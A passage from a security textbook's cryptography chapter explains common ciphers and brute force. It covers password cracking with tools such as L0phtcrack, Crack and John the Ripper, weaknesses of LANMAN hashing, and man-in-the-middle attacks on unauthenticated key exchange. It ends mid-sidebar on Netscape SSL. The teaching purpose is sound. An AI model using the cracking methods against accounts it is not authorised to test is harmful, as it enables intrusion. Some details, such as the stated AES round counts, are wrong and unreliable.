key cryptography.Asymmetric algorithms use two different keys, one for encryption
and one for decryption—a public key and a private key, respectively.Whitfield
Diffie and Martin Hellman first publicly released public key cryptography in
www.syngress.com
Assessing Algorithmic Strength
Algorithmic security can only be proven by its resistance to attack. Since
many more attacks are attempted on algorithms which are open to the
public, the longer an algorithm has been open to the public, the more
attempts to circumvent or break it have occurred. Weak algorithms are
broken rather quickly, usually in a matter of days or months, whereas
stronger algorithms may be used for decades. However, the openness of
the algorithm is an important factor. It’s much more difficult to break an
algorithm (whether weak or strong) when its complexities are completely
unknown. Thus when you use an open algorithm, you can rest
assured in its strength. This is opposed to a proprietary algorithm,
which, if weak, may eventually be broken even if the algorithm itself is
not completely understood by the cryptographer. Obviously, one should
limit the trust placed in proprietary algorithms to limit long-term liability.
Such scrutiny is the reason the inner details of many of the
patented algorithms in use today (such as RC6 from RSA Laboratories)
are publicly available.
Tools & Traps…
Cryptography • Chapter 6 169
1976 as a method of exchanging keys in a secret key system.Their algorithm,
called the Diffie-Hellman (DH) algorithm, is examined later in the chapter. Even
though it is commonly reported that public key cryptography was first invented
by the duo, some reports state that the British Secret Service actually invented it
a few years prior to the release by Diffie and Hellman. It is alleged, however, that
the British Secret Service never actually did anything with their algorithm after
they developed it. More information on the subject can be found at the following
location: www.wired.com/wired/archive/7.04/crypto_pr.html
Some time after Diffie and Hellman, Phil Zimmermann made public key
encryption popular when he released Pretty Good Privacy (PGP) v1.0 for DOS
in August 1991. Support for multiple platforms including UNIX and Amiga were
added in 1994 with the v2.3 release.Over time, PGP has been enhanced and
released by multiple entities, including ViaCrypt and PGP Inc., which is now part
of Network Associates. Both commercial versions and free versions (for noncommercial
use) are available. For those readers in the United States and Canada,
you can retrieve the free version from http://web.mit.edu/network/pgp.html.
The commercial version can be purchased from Network Associates at
www.pgp.com.
Learning about Standard
Cryptographic Algorithms
Just why are there so many algorithms anyway? Why doesn’t the world just standardize
on one algorithm? Given the large number of algorithms found in the
field today, these are valid questions with no simple answers. At the most basic
level, it’s a classic case of tradeoffs between security, speed, and ease of implementation.
Here security indicates the likelihood of an algorithm to stand up to current
and future attacks, speed refers to the processing power and time required to
encrypt and decrypt a message, and ease of implementation refers to an algorithm’s
predisposition (if any) to hardware or software usage. Each algorithm has different
strengths and drawbacks, and none of them is ideal in every way. In this chapter,
we will look at the five most common algorithms that you will encounter: Data
Encryption Standard (DES), AES [Rijndael], International Data Encryption
Algorithm (IDEA), Diffie-Hellman, and Rivest, Shamir, Adleman (RSA). Be
aware, though, that there are dozens more active in the field.
www.syngress.com
170 Chapter 6 • Cryptography
Understanding Symmetric Algorithms
In this section, we will examine several of the most common symmetric algorithms
in use: DES, its successor AES, and the European standard, IDEA. Keep in
mind that the strength of symmetric algorithms lies primarily in the size of the
keys used in the algorithm, as well as the number of cycles each algorithm
employs. All symmetric algorithms are also theoretically vulnerable to brute force
attacks, which are exhaustive searches of all possible keys. However, brute force
attacks are often infeasible.We will discuss them in detail later in the chapter.
DES
Among the oldest and most famous encryption algorithms is the Data Encryption
Standard, which was developed by IBM and was the U.S. government standard
from 1976 until about 2001. DES was based significantly on the Lucifer algorithm
invented by Horst Feistel, which never saw widespread use. Essentially, DES uses a
single 64-bit key—56 bits of data and 8 bits of parity—and operates on data in
64-bit chunks.This key is broken into 16 separate 48-bit subkeys, one for each
round, which are called Feistel cycles. Figure 6.1 gives a schematic of how the DES
encryption algorithm operates.
Each round consists of a substitution phase, wherein the data is substituted
with pieces of the key, and a permutation phase, wherein the substituted data is
scrambled (re-ordered). Substitution operations, sometimes referred to as confusion
operations, are said to occur within S-boxes. Similarly, permutation operations,
sometimes called diffusion operations, are said to occur in P-boxes. Both of
these operations occur in the “F Module” of the diagram.The security of DES
lies mainly in the fact that since the substitution operations are non-linear, so the
resulting ciphertext in no way resembles the original message.Thus, languagebased
analysis techniques (discussed later in this chapter) used against the ciphertext
reveal nothing.The permutation operations add another layer of security by
scrambling the already partially encrypted message.
Every five years from 1976 until 2001, the National Institute of Standards and
Technology (NIST) reaffirmed DES as the encryption standard for the U.S. government.
However, by the 1990s the aging algorithm had begun to show signs
that it was nearing its end of life. New techniques that identified a shortcut
method of attacking the DES cipher, such as differential cryptanalysis, were proposed
as early as 1990, though it was still computationally unfeasible to do so.
www.syngress.com
Cryptography • Chapter 6 171
SECURITY ALERT
How can symmetric algorithms such as DES be made more secure?
Theoretically, there are two ways: either the key length needs to be
increased, or the number of rounds in the encryption process needs to
be increased. Both of these solutions tend to increase the processing
power required to encrypt and decrypt data and slow down the encryption/
decryption speed because of the increased number of mathematical
operations required. Examples of modified DES include 3-DES (a.k.a.
Triple DES) and DESX. Triple DES uses three separate 56-bit DES keys as a
single 168-bit key, though sometimes keys 1 and 3 are identical, yielding
112-bit security. DESX adds an additional 64-bits of key data. Both 3-DES
and DESX are intended to strengthen DES against brute force attacks.
www.syngress.com
Figure 6.1 Diagram of the DES Encryption Algorithm
Preliminary Permutation
56-Bit Data Input
8-bit Parity Input
Incoming Data Stream
(Cleartext)
010011001101011
XOR
F
Module
64-Bits
Subkey N 48-Bits
Repeat for N
Iterations
Final Permutation
56-Bit Data Output
Outgoing Data Stream
(Ciphertext)
111010110100101
KN
172 Chapter 6 • Cryptography
Significant design flaws such as the short 56-bit key length also affected the
longevity of the DES cipher. Shorter keys are more vulnerable to brute force
attacks. Although Whitfield Diffie and Martin Hellman were the first to criticize
this short key length, even going so far as to declare in 1979 that DES would
be useless within 10 years, DES was not publicly broken by a brute force attack
until 1997.
The first successful brute force attack against DES took a large network of
machines over 4 months to accomplish. Less than a year later, in 1998, the
Electronic Frontier Foundation (EFF) cracked DES in less than three days using a
computer specially designed for cracking DES.This computer, code-named
“Deep Crack,” cost less than $250,000 to design and build.The record for
cracking DES stands at just over 22 hours and is held by Distributed.net, which
employed a massively parallel network of thousands of systems (including Deep
Crack). Add to this the fact that Bruce Schneier has theorized that a machine
capable of breaking DES in about six minutes could be built for a mere $10 million.
Clearly, NIST needed to phase out DES in favor of a new algorithm.
AES (Rijndael)
In 1997, as the fall of DES loomed ominously closer, NIST announced the search
for the Advanced Encryption Standard, the successor to DES. Once the search
began, most of the big-name cryptography players submitted their own AES candidates.
Among the requirements of AES candidates were:
 AES would be a private key symmetric block cipher (similar to DES).
 AES needed to be stronger and faster then 3-DES.
 AES required a life expectancy of at least 20-30 years.
 AES would support key sizes of 128-bits, 192-bits, and 256-bits.
 AES would be available to all—royalty free, non-proprietary and
unpatented.
Within months NIST had a total of 15 different entries, 6 of which were
rejected almost immediately on grounds that they were considered incomplete.
By 1999, NIST had narrowed the candidates down to five finalists including
MARS, RC6, Rijndael, Serpent, and Twofish.
Selecting the winner took approximately another year, as each of the candidates
needed to be tested to determine how well they performed in a variety of
environments. After all, applications of AES would range anywhere from portable
www.syngress.com
Cryptography • Chapter 6 173
smart cards to standard 32-bit desktop computers to high-end optimized 64-bit
computers. Since all of the finalists were highly secure, the primary deciding factors
were speed and ease of implementation (which in this case meant memory
footprint).
Rijndael was ultimately announced as the winner in October of 2000
because of its high performance in both hardware and software implementations
and its small memory requirement.The Rijndael algorithm, developed by Belgian
cryptographers Dr. Joan Daemen and Dr.Vincent Rijmen, also seems resistant to
power- and timing-based attacks.
So how does AES/Rijndael work? Instead of using Feistel cycles in each
round like DES, it uses iterative rounds like IDEA (discussed in the next section).
Data is operated on in 128-bit chunks, which are grouped into four groups of
four bytes each.The number of rounds is also dependent on the key size, such
that 128-bit keys have 9 rounds, 192-bit keys have 11 rounds and 256-bit keys
require 13 rounds. Each round consists of a substitution step of one S-box per
data bit followed by a pseudo-permutation step in which bits are shuffled
between groups.Then each group is multiplied out in a matrix fashion and the
results are added to the subkey for that round.
How much faster is AES than 3-DES? It’s difficult to say, because implementation
speed varies widely depending on what type of processor is performing the
encryption and whether or not the encryption is being performed in software or
running on hardware specifically designed for encryption. However, in similar
implementations, AES is always faster than its 3-DES counterpart. One test performed
by Brian Gladman has shown that on a Pentium Pro 200 with optimized
code written in C, AES (Rijndael) can encrypt and decrypt at an average speed
of 70.2 Mbps, versus DES’s speed of only 28 Mbps.You can read his other results
at fp.gladman.plus.com/cryptography_technology/aes.
IDEA
The European counterpart to the DES algorithm is the IDEA algorithm, and its
existence proves that Americans certainly don’t have a monopoly on strong cryptography.
IDEA was first proposed under the name Proposed Encryption Standard
(PES) in 1990 by cryptographers James Massey and Xuejia Lai as part of a combined
research project between Ascom and the Swiss Federal Institute of
Technology. Before it saw widespread use PES was updated in 1991 to increase its
strength against differential cryptanalysis attacks and was renamed Improved PES
(IPES). Finally, the name was changed to International Data Encryption
Algorithm (IDEA) in 1992.
www.syngress.com
174 Chapter 6 • Cryptography
Not only is IDEA newer than DES, but IDEA is also considerably faster and
more secure. IDEA’s enhanced speed is due to the fact the each round consists of
much simpler operations than the Fiestel cycle in DES.These operations (XOR,
addition, and multiplication) are much simpler to implement in software than the
substitution and permutation operations of DES.
IDEA operates on 64-bit blocks with a 128-bit key, and the encryption/
decryption process uses 8 rounds with 6 16-bit subkeys per round.The IDEA
algorithm is patented both in the US and in Europe, but free non-commercial
use is permitted.
Understanding Asymmetric Algorithms
Recall that unlike symmetric algorithms, asymmetric algorithms require more
than one key, usually a public key and a private key (systems with more than two
keys are possible). Instead of relying on the techniques of substitution and transposition,
which symmetric key cryptography uses, asymmetric algorithms rely on
the use of massively large integer mathematics problems. Many of these problems
are simple to do in one direction but difficult to do in the opposite direction. For
example, it’s easy to multiply two numbers together, but it’s more difficult to
factor them back into the original numbers, especially if the integers you are
using contain hundreds of digits.Thus, in general, the security of asymmetric
algorithms is dependent not upon the feasibility of brute force attacks, but the
feasibility of performing difficult mathematical inverse operations and advances in
mathematical theory that may propose new “shortcut” techniques. In this section,
we’ll take a look at RSA and Diffie-Hellman, the two most popular asymmetric
algorithms in use today.
Diffie-Hellman
In 1976, after voicing their disapproval of DES and the difficulty in handling
secret keys,Whitfield Diffie and Martin Hellman published the Diffie-Hellman
algorithm for key exchange.This was the first published use of public key cryptography,
and arguably one of the cryptography field’s greatest advances ever.
Because of the inherent slowness of asymmetric cryptography, the Diffie-Hellman
algorithm was not intended for use as a general encryption scheme—rather, its
purpose was to transmit a private key for DES (or some similar symmetric algorithm)
across an insecure medium. In most cases, Diffie-Hellman is not used for
encrypting a complete message because it is 10 to 1000 times slower than DES,
depending on implementation.
www.syngress.com
Cryptography • Chapter 6 175
Prior to publication of the Diffie-Hellman algorithm, it was quite painful to
share encrypted information with others because of the inherent key storage and
transmission problems (as discussed later in this chapter). Most wire transmissions
were insecure, since a message could travel between dozens of systems before
reaching the intended recipient and any number of snoops along the way could
uncover the key.With the Diffie-Hellman algorithm, the DES secret key (sent
along with a DES-encrypted payload message) could be encrypted via Diffie-
Hellman by one party and decrypted only by the intended recipient.
In practice, this is how a key exchange using Diffie-Hellman works:
 The two parties agree on two numbers; one is a large prime number, the
other is an integer smaller than the prime.They can do this in the open
and it doesn’t affect security.
 Each of the two parties separately generates another number, which they
keep secret.This number is equivalent to a private key.A calculation is
made involving the private key and the previous two public numbers.
The result is sent to the other party.This result is effectively a public key.
 The two parties exchange their public keys.They then privately perform
a calculation involving their own private key and the other party’s public
key.The resulting number is the session key. Each party will arrive at the
same number.
 The session key can be used as a secret key for another cipher, such as
DES. No third party monitoring the exchange can arrive at the same
session key without knowing one of the private keys.
The most difficult part of the Diffie-Hellman key exchange to understand is
that there are actually two separate and independent encryption cycles happening.
As far as Diffie-Hellman is concerned, only a small message is being
transferred between the sender and the recipient. It just so happens that this small
message is the secret key needed to unlock the larger message.
Diffie-Hellman’s greatest strength is that anyone can know either or both of
the sender and recipient’s public keys without compromising the security of the
message. Both the public and private keys are actually just very large integers.The
Diffie-Hellman algorithm takes advantage of complex mathematical functions
known as discrete logarithms, which are easy to perform forwards but extremely
difficult to find inverses for. Even though the patent on Diffie-Hellman has been
expired for several years now, the algorithm is still in wide use, most notably in
www.syngress.com
176 Chapter 6 • Cryptography
the IPSec protocol. IPSec uses the Diffie-Hellman algorithm in conjunction with
RSA authentication to exchange a session key that is used for encrypting all
traffic that crosses the IPSec tunnel.
RSA
In the year following the Diffie-Hellman proposal, Ron Rivest, Adi Shamir, and
Leonard Adleman proposed another public key encryption system.Their proposal
is now known as the RSA algorithm, named for the last initials of the
researchers. RSA shares many similarities with the Diffie-Hellman algorithm in
that RSA is also based on multiplying and factoring large integers. However,
RSA is significantly faster than Diffie-Hellman, leading to a split in the asymmetric
cryptography field that refers to Diffie-Hellman and similar algorithms as
Public Key Distribution Systems (PKDS) and RSA and similar algorithms as
Public Key Encryption (PKE). PKDS systems are used as session-key exchange
mechanisms, while PKE systems are generally considered fast enough to encrypt
reasonably small messages. However, PKE systems like RSA are not considered
fast enough to encrypt large amounts of data like entire filesystems or high-speed
communications lines.
NOTE
RSA, Diffie-Hellman and other asymmetric algorithms use much larger
keys than their symmetric counterparts. Common key sizes include 1024-
bits and 2048-bits, and the keys need to be this large because factoring,
while still a difficult operation, is much easier to perform than the
exhaustive key search approach used with symmetric algorithms. The relative
slowness of public key encryption systems is also due in part to
these larger key sizes. Since most computers can only handle 32-bits of
precision, different “tricks” are required to emulate the 1024-bit and
2048-bit integers. However, the additional processing time is somewhat
justified, since for security purposes 2048-bit keys are considered to be
secure “forever”—barring any exponential breakthroughs in mathematical
factoring algorithms, of course.
Because of the former patent restrictions on RSA, the algorithm saw only
limited deployment, primarily only from products by RSA Security, until the
mid-1990s. Now you are likely to encounter many programs making extensive
use of RSA, such as PGP and Secure Shell (SSH).The RSA algorithm has been
www.syngress.com
Cryptography • Chapter 6 177
in the public domain since RSA Security placed it there two weeks before the
patent expired in September 2000.Thus the RSA algorithm is now freely available
for use by anyone, for any purpose.
Understanding Brute Force
Just how secure are encrypted files and passwords anyway? Consider that there
are two ways to break an encryption algorithm—brute force and various cryptanalysis
shortcuts. Cryptanalysis shortcuts vary from algorithm to algorithm, or
may even be non-existent for some algorithms, and they are always difficult to
find and exploit. Conversely, brute force is always available and easy to try. Brute
force techniques involve exhaustively searching the given keyspace by trying
every possible key or password combination until the right one is found.
Brute Force Basics
As an example, consider the basic three-digit combination bicycle lock where
each digit is turned to select a number between zero and nine. Given enough
time and assuming that the combination doesn’t change during the attempts, just
rolling through every possible combination in sequence can easily open this lock.
The total number of possible combinations (keys) is 103 or 1000, and let’s say the
frequency, or number of combinations a thief can attempt during a time period,
is 30 per minute.Thus, the thief should be able to open the bike lock in a maximum
of 1000/(30 per min) or about 33 minutes. Keep in mind that with each
new combination attempted, the number of remaining possible combinations
(keyspace) decreases and the chance of guessing the correct combination (deciphering
the key) on the next attempt increases.
Brute force always works because the keyspace, no matter how large, is always
finite. So the way to resist brute force attacks is to choose a keysize large enough
that it becomes too time-consuming for the attacker to use brute force techniques.
In the bike lock example, three digits of keyspace gives the attacker a
maximum amount of time of 33 minutes required to steal the bicycle, so the thief
may be tempted to try a brute force attack. Suppose a bike lock with a five-digit
combination is used. Now there are 100,000 possible combinations, which would
take about 55.5 hours for the thief check by brute force. Clearly, most thieves
would move on and look for something easier to steal.
When applied to symmetric algorithms such as DES, brute force techniques
work very similarly to the bike lock example. In fact, this happens to be exactly
www.syngress.com
178 Chapter 6 • Cryptography
the way DES was broken by the EFF’s “Deep Crack.” Since the DES key is
known to be 56 bits long, every possible combination of keys between a string of
56 zeros and a string of 56 ones is tested until the appropriate key is discovered.
As for the distributed attempts to break DES, the five-digit bike lock analogy
needs to be slightly changed. Distributed brute force attempts are analogous to
having multiple thieves, each with an exact replica of the bike lock. Each of these
replicas has the exact same combination as the original bike lock, and the thieves
work on the combination in parallel. Suppose there are 50 thieves working
together to guess the combination. Each thief tries a different set of 2,000 combinations
such that no two thieves are working on the same combination set (subkeyspace).
Now instead of testing 30 combinations per minute, the thieves are
testing 1500 combinations per minute, and all possible combinations will be
checked in about 67 minutes. Recall that it took the single thief 55 hours to steal
the bike, but now 50 thieves working together can steal the bike in just over an
hour. Distributed computing applications working under the same fundamentals
are what allowed Distributed.net to crack DES in less than 24 hours.
Applying brute force techniques to RSA and other public key encryption
systems is not quite as simple. Since the RSA algorithm is broken by factoring, if
the keys being used are sufficiently small (far, far smaller than any program using
RSA would allow), it is conceivable that a person could crack the RSA algorithm
using pencil and paper. However, for larger keys, the time required to perform
the factoring becomes excessive. Factoring does not lend itself to
distributed attacks as well, either.A distributed factoring attack would require
much more coordination between participants than simple exhaustive keyspace
coordination.There are projects, such as the www-factoring project
(www.npac.syr.edu/factoring.html), that endeavor to do just this. Currently, the
www-factoring project is attempting to factor a 130-digit number. In comparison,
512-bit keys are about 155 digits in size.
Using Brute Force to Obtain Passwords
Brute force is a method commonly used to obtain passwords, especially if the
encrypted password list is available.While the exact number of characters in a
password is usually unknown, most passwords can be estimated to be between 4
and 16 characters. Since only about 100 different values can be used for each
character of the password, there are only about 1004 to 10016 likely password
combinations.Though massively large, the number of possible password combinations
is finite and is therefore vulnerable to brute force attack.
www.syngress.com
Cryptography • Chapter 6 179
Before specific methods for applying brute force can be discussed, a brief
explanation of password encryption is required. Most modern operating systems
use some form of password hashing to mask the exact password. Because passwords
are never stored on the server in cleartext form, the password authentication
system becomes much more secure. Even if someone unauthorized
somehow obtains the password list, he will not be able to make immediate use of
it, hopefully giving system administrators time to change all of the relevant passwords
before any real damage is caused.
Passwords are generally stored in what is called hashed format.When a password
is entered on the system it passes through a one-way hashing function, such as
Message Digest 5 (MD5), and the output is recorded. Hashing functions are oneway
encryption only, and once data has been hashed, it cannot be restored.A
server doesn’t need to know what your password is. It needs to know that you
know what it is.When you attempt to authenticate, the password you provided is
passed through the hashing function and the output is compared to the stored
hash value. If these values match, then you are authenticated. Otherwise, the login
attempt fails, and is (hopefully) logged by the system.
Brute force attempts to discover passwords usually involve stealing a copy of
the username and hashed password listing and then methodically encrypting possible
passwords using the same hashing function. If a match is found, then the
password is considered cracked. Some variations of brute force techniques involve
simply passing possible passwords directly to the system via remote login
attempts. However, these variations are rarely seen anymore due to account
lockout features and the fact that they can be easily spotted and traced by system
administrators.They also tend to be extremely slow.
Appropriate password selection minimizes—but cannot completely eliminate—
a password’s ability to be cracked. Simple passwords, such as any individual word
in a language, make the weakest passwords because they can be cracked with an
elementary dictionary attack. In this type of attack, long lists of words of a particular
language called dictionary files are searched for a match to the encrypted password.
More complex passwords that include letters, numbers and symbols require
a different brute force technique that includes all printable characters and generally
take an order of magnitude longer to run.
Some of the more common tools used to perform brute force password
attacks include L0phtcrack for Windows passwords, and Crack and John the
Ripper for UNIX passwords. Not only do hackers use these tools but security
professionals also find them useful in auditing passwords. If it takes a security professional
N days to crack a password, then that is approximately how long it will
www.syngress.com
180 Chapter 6 • Cryptography
take an attacker to do the same. Each of these tools will be discussed briefly, but
be aware that written permission should always be obtained from the system
administrator before using these programs against a system.
L0phtcrack
L0phtCrack is a Windows NT password-auditing tool from the L0pht that came
onto the scene in 1997. It provides several different mechanisms for retrieving the
passwords from the hashes, but is used primarily for its brute force capabilities.
The character sets chosen dictate the amount of time and processing power necessary
to search the entire keyspace.Obviously, the larger the character set
chosen, the longer it will take to complete the attack. However, dictionary based
attacks, which use only common words against the password database are normally
quite fast and often effective in catching the poorest passwords.Table 6.1
lists the time required for L0phtcrack 2.5 to crack passwords based on the character
set selected.
Table 6.1 L0phtcrack 2.5 Brute Force Crack Time Using a Quad Xeon 400
MHz Processor
Test: Brute Force Crack
Machine: Quad Xeon 400 MHz
Character Set Time
Alpha-Numeric 5.5 Hours
Alpha-Numeric-Some Symbols 45 Hours
Alpha-Numeric-All Symbols 480 Hours
Used with permission of the L0pht
L0pht Heavy Industries, the developers of L0phtcrack, have since sold the
rights to the software to @stake Security. Since the sale,@stake has released a
program called LC3, which is intended to be L0phtcrack’s successor. LC3
includes major improvements over L0phtcrack 2.5, such as distributed cracking
and a simplified sniffing attachment that allows password hashes to be sniffed over
Ethernet. Additionally, LC3 includes a password-cracking wizard to help the less
knowledgeable audit their system passwords. Figure 6.2 shows LC3 displaying the
output of a dictionary attack against some sample user passwords.
LC3 reflects a number of usability advances since the older L0phtcrack 2.5
program, and the redesigned user interface is certainly one of them. Both
www.syngress.com
Cryptography • Chapter 6 181
L0phtCrack and LC3 are commercial software packages. However, a 15-day trial
can be obtained at www.atstake.com/research/lc3/download.html.
Crack
The oldest and most widely used UNIX password cracking utility is simply called
Crack. Alec Muffett is the author of Crack, which he calls a password-guessing
program for UNIX systems. It runs only on UNIX systems against UNIX passwords,
and is for the most part a dictionary-based program. However, in the latest
release available (v5.0a from 1996), Alec has bundled Crack7, a brute force password
cracker that can be used if a dictionary-based attack fails. One of the most
interesting aspects of this combination is that Crack can test for common variants
that people use when they think they are picking more secure passwords. For
example, instead of “password,” someone may choose “pa55word.” Crack has
user-configurable permutation rules that will catch these variants. More information
on Alec Muffett and Crack is available at www.users.dircon.co.uk/~crypto.
www.syngress.com
Figure 6.2 Output of a Simple Dictionary-Based Attack
182 Chapter 6 • Cryptography
John the Ripper
John the Ripper is another password-cracking program, but it differs from Crack
in that it is available in UNIX, DOS, and Win32 editions. Crack is great for older
systems using crypt(), but John the Ripper is better for newer systems using MD5
and similar password formats. John the Ripper is used primarily for UNIX passwords,
but there are add-ons available to break other types of passwords, such as
Windows NT LanManager (LANMAN) hashes and Netscape Lightweight
Directory Access Protocol (LDAP) server passwords. John the Ripper supports
brute force attacks in incremental mode. Because of John the Ripper’s architecture,
one of its most useful features is its ability to save its status automatically during
the cracking process, which allows for aborted cracking attempts to be restarted
even on a different system. John the Ripper is part of the OpenWall project and
is available from www.openwall.com/john.
A sample screenshot of John the Ripper is shown in Figure 6.3. In this
example, a sample section of a password file in OpenBSD format is cracked using
John the Ripper. Shown below the password file snippet is the actual output of
John the Ripper as it runs.You can see that each cracked password is displayed on
the console. Be aware that the time shown to crack all four passwords is barely over
a minute only because I placed the actual passwords at the top of the “password.lst”
listing, which John uses as its dictionary. Real attempts to crack passwords would
take much longer.After John has cracked a password file, you can have John display
the password file in unshadowed format using the show option.
www.syngress.com
Figure 6.3 Sample Screenshot of John the Ripper
Cryptography • Chapter 6 183
Knowing When Real Algorithms
Are Being Used Improperly
While theoretically, given enough time, almost any encryption standard can be
cracked with brute force, it certainly isn’t the most desirable method to use when
“theoretically enough time” is longer than the age of the universe.Thus, any
shortcut method that a hacker can use to break your encryption will be much
more desirable to him than brute force methods.
None of the encryption algorithms discussed in this chapter have any serious
flaws associated with the algorithms themselves, but sometimes the way the algorithm
is implemented can create vulnerabilities. Shortcut methods for breaking
encryption usually result from a vendor’s faulty implementation of a strong
encryption algorithm, or lousy configuration from the user. In this section, we’ll
discuss several incidents of improperly used encryption that are likely to be
encountered in the field.
Bad Key Exchanges
Because there isn’t any authentication built into the Diffie-Hellman algorithm,
implementations that use Diffie-Hellman-type key exchanges without some sort
of authentication are vulnerable to man-in-the-middle (MITM) attacks.The most
notable example of this type of behavior is the SSH-1 protocol. Since the protocol
itself does not authenticate the client or the server, it’s possible for someone
to cleverly eavesdrop on the communications.This deficiency was one of the
main reasons that the SSH-2 protocol was completely redeveloped from SSH-1.
The SSH-2 protocol authenticates both the client and the server, and warns of or
prevents any possible MITM attacks, depending on configuration, so long as the
client and server have communicated at least once. However, even SSH-2 is vulnerable
to MITM attacks prior to the first key exchange between the client and
the server.
As an example of a MITM-type attack, consider that someone called Al is
performing a standard Diffie-Hellman key exchange with Charlie for the very
first time, while Beth is in a position such that all traffic between Al and Charlie
passes through her network segment. Assuming Beth doesn’t interfere with the
key exchange, she will not be able to read any of the messages passed between Al
and Charlie, because she will be unable to decrypt them. However, suppose that
Beth intercepts the transmissions of Al and Charlie’s public keys and she responds
to them using her own public key. Al will think that Beth’s public key is actually
www.syngress.com
184 Chapter 6 • Cryptography
Charlie’s public key and Charlie will think that Beth’s public key is actually Al’s
public key.
When Al transmits a message to Charlie, he will encrypt it using Beth’s public
key. Beth will intercept the message and decrypt it using her private key. Once
Beth has read the message, she encrypts it again using Charlie’s public key and
transmits the message on to Charlie. She may even modify the message contents
if she so desires. Charlie then receives Beth’s modified message, believing it to
come from Al. He replies to Al and encrypts the message using Beth’s public key.
Beth again intercepts the message, decrypts it with her private key, and modifies
it.Then she encrypts the new message with Al’s public key and sends it on to Al,
who receives it and believes it to be from Charlie.
Clearly, this type of communication is undesirable because a third party not
only has access to confidential information, but she can also modify it at will. In
this type of attack, no encryption is broken because Beth does not know either
Al or Charlie’s private keys, so the Diffie-Hellman algorithm isn’t really at fault.
Beware of the key exchange mechanism used by any public key encryption
system. If the key exchange protocol does not authenticate at least one and
preferably both sides of the connection, it may be vulnerable to MITM-type
attacks. Authentication systems generally use some form of digital certificates
(usually X.509), such as those available from Thawte or VeriSign.
Hashing Pieces Separately
Older Windows-based clients store passwords in a format known as LanManager
(LANMAN) hashes, which is a horribly insecure authentication scheme.
However, since this chapter is about cryptography, we will limit the discussion of
LANMAN authentication to the broken cryptography used for password storage.
As with UNIX password storage systems, LANMAN passwords are never
stored on a system in cleartext format—they are always stored in a hash format.
The problem is that the hashed format is implemented in such a way that even
though DES is used to encrypt the password, the password can still be broken
with relative ease. Each LANMAN password can contain up to 14 characters, and
all passwords less than 14 characters are padded to bring the total password length
up to 14 characters. During encryption the password is split into a pair of sevencharacter
passwords, and each of these seven-character passwords is encrypted
with DES.The final password hash consists of the two concatenated DESencrypted
password halves.
www.syngress.com
Cryptography • Chapter 6 185
Since DES is known to be a reasonably secure algorithm, why is this implementation
flawed? Shouldn’t DES be uncrackable without significant effort? Not
exactly. Recall that there are roughly 100 different characters that can be used in
a password. Using the maximum possible password length of 14 characters, there
should be about 10014 or 1.0x1028 possible password combinations. LANMAN
passwords are further simplified because there is no distinction between upperand
lowercase letters—all letters appears as uppercase. Furthermore, if the password
is less than eight characters, then the second half of the password hash is
always identical and never even needs to be cracked. If only letters are used (no
numbers or punctuation), then there can only be 267 (roughly eight billion) password
combinations.While this may still seem like a large number of passwords to
attack via brute force, remember that these are only theoretical maximums and
that since most user passwords are quite weak, dictionary-based attacks will
uncover them quickly.The bottom line here is that dictionary-based attacks on a
pair of seven-character passwords (or even just one) are much faster than those on
single 14-character passwords.
Suppose that strong passwords that use two or more symbols and numbers are
used with the LANMAN hashing routine.The problem is that most users tend to
just tack on the extra characters at the end of the password. For example, if a user
uses his birthplace along with a string of numbers and symbols, such as “MONTANA45%,”
the password is still insecure. LANMAN will break this password
into the strings “MONTANA” and “45%.”The former will probably be caught
quickly in a dictionary-based attack, and the latter will be discovered quickly in
a brute force attack because it is only three characters. For newer businessoriented
Microsoft operating systems such as Windows NT and Windows 2000,
LANMAN hashing can and should be disabled in the registry if possible, though
this will make it impossible for Win9x clients to authenticate to those machines.
Using a Short Password to Generate a Long Key
Password quality is a subject that we have already briefly touched upon in our
discussion of brute force techniques.With the advent of PKE encryption schemes
such as PGP, most public and private keys are generated using passwords or
passphrases, leaving the password generation steps vulnerable to brute force
attacks. If a password is selected that is not of significant length, that password can
be brute force attacked in an attempt to generate the same keys as the user.Thus
PKE systems such as RSA have a chance to be broken by brute force, not
because of any deficiency in the algorithm itself, but because of deficiencies in
www.syngress.com
186 Chapter 6 • Cryptography
the key generation process.The best way to protect against these types of roundabout
attacks is to use strong passwords when generating any sort of encryption
key. Strong passwords include the use of upper- and lowercase letters, numbers,
and symbols, preferably throughout the password. Eight characters is generally
considered the minimum length for a strong password, but given the severity of
choosing a poor password for key generation, I recommend you use at least
twelve characters for these instances.
High quality passwords are often said to have high entropy, which is a semi-
finite measurement that attempts to quantify the relative quality of a password.
Longer passwords typically have more entropy than shorter passwords, and the
more random each character of the password is, the more entropy in the password.
For example, the password “albatross” (about 30 bits of entropy) might be
reasonably long in length, but has less entropy than a totally random password of
the same length such as “g8%=MQ+p” (about 48 bits of entropy). Since the
former might appear in a list of common names for bird species, while the latter
would never appear in a published list, obviously the latter is a stronger and
therefore more desirable password.The moral of the story here is that strong
encryption such as 168-bit 3-DES can be broken easily if the secret key has only
a few bits of entropy.
Improperly Stored Private or Secret Keys
Let’s say you have only chosen to use the strong cryptography algorithms, you
have verified that there are not any flaws in the vendors’ implementations, and
you have generated your keys with great care. How secure is your data now? It is
still only as secure as your private or secret key.These keys must be safeguarded at
all costs, or you may as well not even use encryption.
Since keys are simply strings of data, they are usually stored in a file somewhere
in your system’s hard disk. For example, private keys for SSH-1 are stored
in the identity file located in the .ssh directory under a user’s home directory. If
the filesystem permissions on this file allow others to access the file, then this private
key is compromised. Once others have your private or secret key, reading
your encrypted communications becomes trivial. (Note that the SSH identity file
is used for authentication, not encryption; but you get the idea.)
However, in some vendor implementations, your keys could be disclosed to
others because the keys are not stored securely in RAM. As you are aware, any
information processed by a computer, including your secret or private key, is
located in the computer’s RAM at some point. If the operating system’s kernel
www.syngress.com
Cryptography • Chapter 6 187
does not store these keys in a protected area of its memory, they could conceivably
become available to someone who dumps a copy of the system’s RAM to a
file for analysis.These memory dumps are called core dumps in UNIX, and they
are commonly created during a denial of service (DoS) attack.Thus a successful
hacker could generate a core dump on your system and extract your key from
the memory image. In a similar attack, a DoS attack could cause excess memory
usage on the part of the victim, forcing the key to be swapped to disk as part of
virtual memory. Fortunately, most vendors are aware of this type of exploit by
now, and it is becoming less and less common since encryption keys are now
being stored in protected areas of memory.
www.syngress.com
Netscape’s Original SSL Implementation:
How Not to Choose Random Numbers
As we have tried to point out in this section, sometimes it does not
matter if you are using an algorithm that is known to be secure. If your
algorithm is being applied incorrectly, there will be security holes. An
excellent example of a security hole resulting from misapplied cryptography
is Netscape’s poor choice of random number seeds used in the
Secure Sockets Layer (SSL) encryption of its version 1.1 browser. You no
doubt note that this security flaw is several years old and thus of limited
importance today. However, below the surface we’ll see that this particular
